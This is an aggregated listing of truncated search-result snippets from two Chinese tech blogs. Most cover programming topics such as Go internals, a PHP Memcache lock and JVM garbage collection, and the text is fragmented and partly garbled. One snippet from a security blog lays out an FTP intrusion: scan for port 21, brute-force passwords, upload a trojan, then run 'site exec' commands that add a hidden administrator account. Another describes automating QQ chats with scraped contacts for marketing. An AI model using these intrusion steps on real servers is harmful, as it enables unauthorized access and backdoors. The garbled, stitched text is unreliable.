blog.webfuns.net
用Memcache实现分布式的锁服务 | webfuns–趣味互联网
https://blog.webfuns.net/archives/1722.html
Author: tomheng zhm20070928@gmail.com. Gist: https:/ gist.github.com/tomheng/6149779. Memcache lock service key. Param [type] $name [description]. Get key (. Param [type] $name [description]. Dolog('Lock failed '.$name);. Echo '#'.PHP EOL;. PHP EOL ;. SimplePie 将中文编码成 HTML Entities 的解决方法. 转]Inside NGINX: How We Designed for Performance & Scale. 网站优化应重视DNS预获取 dns-prefetch – 热前端.
blog.webfuns.net
[转]Go Data Structures | webfuns–趣味互联网
https://blog.webfuns.net/archives/1912.html
When explaining Go to new programmers, I’ve found that it often helps to explain what Go values look like in memory, to build the right intuition about which operations are expensive and which are not. This post is about basic types, structs, arrays, and slices. Let’s start with some simple examples:. Represented in memory as a single 32-bit word. (All these pictures show a 32-bit memory layout; in the current implementations, only the pointer gets bigger on a 64-bit machine. An array of 5. Fields in a s...
blog.webfuns.net
未分类 | webfuns–趣味互联网
https://blog.webfuns.net/archives/category/未分类
When explaining Go to new programmers, I’ve found that it often helps to explain what Go values look like in memory, to build the right intuition about which operations are expensive and which are not. This post is about basic types, structs, arrays, and slices. Let’s start with some simple examples:. Represented in memory as a single 32-bit word. (All these pictures show a 32-bit memory layout; in the current implementations, only the pointer gets bigger on a 64-bit machine. An array of 5. Fields in a s...
blog.webfuns.net
[转]The Go scheduler | webfuns–趣味互联网
https://blog.webfuns.net/archives/1886.html
One of the big features for Go 1.1 is the new scheduler, contributed by Dmitry Vyukov. The new scheduler has given a dramatic increase in performance for parallel Go programs and with nothing better to do, I figured I’d write something about it. Most of what’s written in this blog post is already described in the original design doc. It’s a fairly comprehensive document, but pretty technical. What does the Go runtime need with a scheduler? When you have many threads scheduled out at random points, chance...
blog.webfuns.net
My project | webfuns–趣味互联网
https://blog.webfuns.net/archives/category/my-project
不知道Ubuntu 从哪个版本开始加上的CPU的过热保护机制,就是CPU一旦到达指定温度 我的是90度 ,啪就自己关机。 打开/etc/default/grub.cfg文件,找到 GRUB CMDLINE LINUX DEFAULT,改成GRUB CMDLINE LINUX DEFAULT=”quiet splash thermal.nocrt=1″。 WordPress外部调用插件 js方式 -Ecall插件更新至1.12.15. Script type=’text/javascript’ src=’http:/ domain/index.php? Script type=’text/javascript’ src=’http:/ domain/? Script type=’text/javascript’ src=’http:/ domain/index.php? Script type=’text/javascript’ src=’http:/ blog.webfuns.net/api.php? 3) 修复了Cache time 无法设置为空的问题.
blog.webfuns.net
GC | webfuns–趣味互联网
https://blog.webfuns.net/archives/tag/gc
21 连续 VS. 并行. 22 并发 VS. stop-the-world. 23 压缩 VS. 不压缩 VS. 复制. 四、J2SE 5.0的HotSpot JVM上的GC学习 – 分代、GC类型、快速分配. 五、J2SE 5.0的HotSpot JVM上的GC学习 – SerialGC. 六、J2SE 5.0的HotSpot JVM上的GC学习 – ParallelGC. 七、J2SE 5.0的HotSpot JVM上的GC学习 – ParallelCompactingGC. 八、J2SE 5.0的HotSpot JVM上的GC学习 – CMS GC. 12 连续 VS. 并行. 13 并发 VS. stop-the-world. Stop the world 的GC相对简单,因为heap被冻结,对象的活动也已经停止。 14 压缩 VS. 不压缩 VS. 复制. 暂停时间 应用花在GC stop-the-world 的时间. 4 J2SE 5.0的HotSpot JVM上的GC学习 – 分代、GC类型、快速分配. J2SE50 update 6 的HotSpot上有4个GC。 Dprogram&#...
9l988.com
AAuto | SHOOTER 关注web安全
http://www.9l988.com/archives/category/programming/aauto
SHOOTER BLOG 记录与分享 白帽子技术交流. Class class sogou{ ctor( sogouData ){ if( #sogouData. AAuto代码:(部分函数仅支持VISTA以后版本,XP的未研究) import console; import wsock; import win.version dll = raw.loadDll("Iphlpapi.dll"); GetTcpTable= dll.api("GetTcpTable","INT(struct &pTcpTable, INT &pdwSize. AAuto 代码 import gdip var bmp = gdip.bitmap( " test.gif" ); var count = bmp.totalFrames; / 获取gif动画帧数 for(i=1;count;1){ bmp.selectActiveFrame(i); / 选择某一帧 bmp.save(" " i ".jpg",100) / 保存至本地. 微软的Crypto API封装了很多加密算法,可是网上的文档比较少,找到的代码也有错误....
9l988.com
常用cmd指令 | SHOOTER 关注web安全
http://www.9l988.com/archives/category/programming/常用cmd指令
SHOOTER BLOG 记录与分享 白帽子技术交流. Tasklist 查看当前运行的进程 net start Terminal Services 注: Terminal Services 服务名称 net stop servicename 关闭服务 注 servicename 服务名称 tasklist /svc 查看当前运行的服务 query user 查看当前是否有用户在登录 lo. Mysql file 权限 (1). Linxu shell script (1).
9l988.com
javascript | SHOOTER 关注web安全
http://www.9l988.com/archives/category/programming/javascript
SHOOTER BLOG 记录与分享 白帽子技术交流. 项目使用QQ抓取有一些时间了 营销QQ每天加的人数有限 抓取10000 扔掉的80% 所以想到了临时会话 只要能与客户聊天 就可以 (最终目的) function fun(number){ document.getElementById(number).click(); } . 方法1: [手动] 效果 方法2 [自动] js var clearset = setInterval("j wb()","5000"); ttti=0 function j wb(){ ttti if(ttti= 1){ clearInterval(clearset); } window.l. Document.writeln(" ); document.writeln("body{ display:none! 例如 var result, result2; result = 5 * (2 3); / 这是一个表达式,分别进行了加法和乘法的运算,结果是25。 Alert(result2); / result2等于undefined,声明变量时.
9l988.com
21 | SHOOTER 关注web安全
http://www.9l988.com/archives/category/网络/windows/port/21端口
SHOOTER BLOG 记录与分享 白帽子技术交流. 1、使用S扫描器或者其他扫描器扫描出开了21端口的IP 2、使用IP整理工具把IP整理好 3、使用Xscan扫描器扫描密码 FTP登录上去,传马 Dos 下连接 添加用户 quote site exec net user shooter 123456 /add quote site exec net localgroup administrators shooter /add 以上这. Mysql file 权限 (1). Linxu shell script (1).